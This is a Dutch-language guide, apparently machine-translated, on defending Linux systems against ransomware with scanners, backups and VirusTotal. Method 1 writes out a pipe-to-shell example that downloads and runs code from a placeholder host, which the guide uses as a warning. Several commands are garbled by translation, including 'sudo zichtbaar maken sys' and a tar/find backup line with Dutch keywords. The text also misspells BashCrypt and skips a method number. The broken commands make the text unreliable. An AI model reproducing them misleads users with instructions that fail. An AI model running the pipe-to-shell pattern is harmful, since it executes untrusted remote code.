Hoe Linux te beschermen tegen Ransomwares

Ransomware is tegenwoordig een van de meer bedreigende problemen in de wereld van netwerkbeveiliging. Het is beangstigend om te denken dat iemand uw gegevens kan gijzelen. Sommige ransomware-infecties versleutelen alle gegevens op een bepaald volume, en de personen erachter vragen een bepaald bedrag voordat ze akkoord gaan met het vrijgeven van de sleutel die nodig is om de gegevens te ontgrendelen. Het is vooral zorgwekkend voor mensen die veel geld hebben geïnvesteerd in hun gegevens. Er is echter een klein beetje goed nieuws voor Linux-gebruikers.

In de meeste situaties is het voor ransomwarecode moeilijk om controle te krijgen over meer dan alleen de homedirectory van een gebruiker. Deze programma's hebben niet de toestemming om een ​​volledige installatie te verwijderen. Dit is de reden waarom Linux-ransomware meer een probleem is op servers waar operators altijd root-toegang hebben. Ransomware zou niet zo'n groot probleem moeten zijn voor Linux-gebruikers, en er zijn verschillende stappen die u moet nemen om te voorkomen dat u dit overkomt.

Methode 1: verdedigen tegen aanvallen in BashCrypt-stijl

BasyCrypt is een proof of concept-stuk ransomware dat heeft bewezen dat het mogelijk is om serverstructuren te infecteren met dit soort kwaadaardige code. Dit biedt een basis voor hoe Linux-ransomwarepakketten eruit kunnen zien. Hoewel ze momenteel ongebruikelijk zijn, werken dezelfde soorten gezond verstand-preventieve maatregelen voor serverbeheerders van andere platforms hier net zo goed. Het probleem is dat in bedrijfsomgevingen een groot aantal verschillende mensen een hostsysteem kan gebruiken.

Als u een mailserver heeft, kan het erg moeilijk zijn om mensen ervan te weerhouden dwaze dingen te doen. Doe je best om iedereen eraan te herinneren geen bijlagen te openen waar ze niet zeker van zijn, en malware scant altijd alles in kwestie. Een ander ding dat echt kan helpen om dit soort aanvallen te voorkomen, is door te kijken hoe je binaries met wget installeert. Natuurlijk mist uw mailserver waarschijnlijk helemaal geen desktopomgeving en gebruikt u waarschijnlijk wget, apt-get, yum of pacman om pakketten die overkomen te beheren. Het is erg belangrijk om te kijken welke opslagplaatsen er in deze installaties worden gebruikt. Soms zie je een commando dat wil dat je iets als wget http: //www.thisisaprettybadcoderepo.webs/ -O- | sh, of het kan zich in een shellscript bevinden. Voer het in geen geval uit als u niet weet waarvoor die opslagplaats is bedoeld.

Methode 2: een scannerpakket installeren

Er bestaan ​​verschillende soorten opensource-scantechnologie voor malware. ClamAV is verreweg de meest bekende, en je kunt het op veel op apt gebaseerde distributies installeren door gebruik te maken van:

sudo apt-get install clamav

Wanneer het is geïnstalleerd, moet man clamav het gebruik in duidelijke taal uitleggen. Houd er rekening mee dat hoewel het geïnfecteerde bestanden kan scannen en verwijderen, het geen besmettelijke code uit een bestand kan verwijderen. Dit is een alles of niets situatie.

Er is een tweede scanner die u misschien niet kent, maar het is handig als verborgen processen u bang maken. Nogmaals, als u een op apt-gebaseerde distributie gebruikt, voer dan deze opdracht uit om de zichtbaar makende scanner te installeren:

sudo apt-get install unhide

Typ het volgende als het is geïnstalleerd:

sudo zichtbaar maken sys

Hiermee wordt uw systeem volledig gescand op verborgen processen.

Methode 4: schone back-ups bij de hand houden

Hoewel dit niet eens een probleem zou moeten zijn, aangezien iedereen altijd back-ups zou moeten maken, kan het hebben van goede back-ups de ransomware onmiddellijk verwijderen. De weinige ransomware die er op het Linux-platform is, heeft de neiging bestanden aan te vallen met extensies die specifiek zijn voor webontwikkelingsplatforms. Dit betekent dat als je een hoop .php-, .xml- of .js-code hebt, je hier specifiek een back-up van wilt maken. Beschouw deze volgende regel code:

tar -cf backups.tar $ (zoek -naam '* .ruby' -of -naam '* .html')

Dit zou een groot tape-archiefbestand moeten creëren van elk bestand met de .ruby- en .html-extensies binnen een bestandsstructuur. Het kan dan voor extractie naar een andere tijdelijke subdirectory worden verplaatst om er zeker van te zijn dat het maken ervan correct werkt.

Dit tape-archief kan en moet naar een extern volume worden verplaatst. U kunt natuurlijk .bz2, .gz of .xv compressie gebruiken voordat u dit doet. Mogelijk wilt u gespiegelde back-ups maken door deze naar twee verschillende volumes te kopiëren.

Methode 5: webgebaseerde scanners gebruiken

Misschien heeft u een RPM- of DEB-pakket gedownload van een site die belooft nuttige software te bevatten. Software wordt ook gedistribueerd via 7z of gecomprimeerde tar-bestanden. Mobiele gebruikers ontvangen mogelijk ook Android-pakketten in APK-indeling. Het is gemakkelijk om deze rechtstreeks in uw browser te scannen met een tool. Verwijs het naar https://www.virustotal.com/, en zodra de pagina is geladen, klikt u op de knop 'Bestand kiezen'. Houd er rekening mee dat dit een openbare server is voordat u uploadt. Hoewel het veilig is en wordt beheerd door Alphabet Inc, worden bestanden openbaar overgedragen, wat een probleem kan zijn in sommige superveilige omgevingen. Het is ook beperkt tot 128 MB bestanden.

Selecteer uw bestand in het vak dat verschijnt en selecteer openen. De bestandsnaam verschijnt in de regel naast de knop nadat het vak is verdwenen.

Klik op het grote blauwe 'Scan it!' knop. U zult een ander vak zien dat aangeeft dat het systeem uw bestand uploadt.

Als iemand het bestand al eerder heeft uitgecheckt, zal hij u op de hoogte stellen van de vorige melding. Het herkent dit op basis van een SHA256-som, die op dezelfde manier werkt als dezelfde Linux-opdrachtregelprogramma's die u gewend bent. Zo niet, dan voert het een volledige scan uit met 53 verschillende scanprogramma's. Een paar van hen kunnen een time-out krijgen wanneer het bestand wordt uitgevoerd, en deze resultaten kunnen veilig worden genegeerd.

Sommige programma's kunnen andere resultaten opleveren dan andere, dus het is gemakkelijk om met dit systeem valse positieven te verwijderen. Het beste is dat het werkt tussen verschillende platforms, waardoor het even aantrekkelijk is, ongeacht welke distributie je op verschillende apparaten hebt. Het werkt ook net zo goed vanaf mobiele distributies zoals Android, en daarom is het een geweldige manier om APK-pakketten te inspecteren voordat je ze gebruikt.